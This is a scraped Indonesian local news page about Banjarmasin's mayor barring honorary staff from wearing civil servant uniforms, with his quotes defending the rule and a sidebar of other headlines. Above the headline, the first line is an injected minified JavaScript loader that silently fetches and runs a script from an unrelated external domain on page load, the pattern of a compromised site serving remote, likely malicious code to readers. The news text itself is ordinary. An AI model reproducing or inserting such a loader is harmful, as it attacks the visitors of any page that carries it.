(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aturan Soal Seragam Honorer di Pemko Banjarmasin, Ibnu: Jangan Asbun Kalau Tak Tahu Masalah!


BANJARMASIN, Pemko Banjarmasin keluarkan aturan teranyar bagi pegawai honorer yang dilarang menggunakan seragam ASN (Aparatur Sipil Negara). Terhitung sejaka Selasa (10/12) kemarin, Walikota H Ibnu Sina telah mengeluarkan surat edaran yang mengatur soal larangan pegawai honorer menggunakan seragam ASN.

“Itu kan sesuai dengan Permendagri,” kata Ibnu saat dikonfirmasi, Kamis (12/12) siang. Ibnu menyebut, hal seperti ini tak perlu dipersoalkan. Karena, persoalan ini sudah lama dibicarakan.

Dimana, di lingkungan Pemko Banjarmasin mendapat masukan dari Asisten I dan BKD untuk bisa menerapkan pelarangan pegawai honorer menggunakan seragam ASN. Alasannya, agar mudah dalam mengenali yang mana pegawai negeri sipil dan yang mana honorer.

“Kadang orang yang berurusan dengan ASN kita di lingkungan Pemko Banjarmasin dikira yang bersangkutan mempunyai jabatan,” kata Ibnu.

Kendati demikian, Ibnu menegaskan, aturan ini bukanlah sebagai bentuk diskriminasi. Melainkan, Pemko Banjarmaisn hanya mengikuti aturan yang diterapkan oleh pemerintah pusat melalui Kementerian Dalam Negeri. “Ini bukan dalam konteks diskriminasi. Karena ini adalah aturan dari pusat, bukan aturan yang dibuat Pemko Banjarmasin,” tegas Ibnu.

Sehingga, Ibnu menggarisbawahi kepada siapapun yang mempermasalahkan peraturan ini untuk tidak asal berbicara. Melainkan, harus melihat dulu peraturan di atasnya. Padahal, peraturan ini bukanlah persoalan, namun karena adanya komentar ‘miring’ malah jadi persoalan.

“Siapapun yang berpendapat, harus lihat aturan. Jangan asal bunyi, tidak tahu permasalahan dan berkomentar. Bahkan, saya menganjurkan pakai baju sasirangan,” pungkas Ibnu.

Sementara itu, Putra, tenaga honorer di salah satu SKPD di lingkungan Pemko Banjarmasin malah menyambut baik surat edaran yang tidak memperbolehkan pegawai honorer menggunakan seragam ASN yang identik dengan warna khaki itu. “Bagus aja sih, selama itu tidak merugikan kedua belah pihak,” kata Putra. (fikri)

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

15 menit ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

2 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

3 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

4 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

4 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

5 jam ago

This website uses cookies.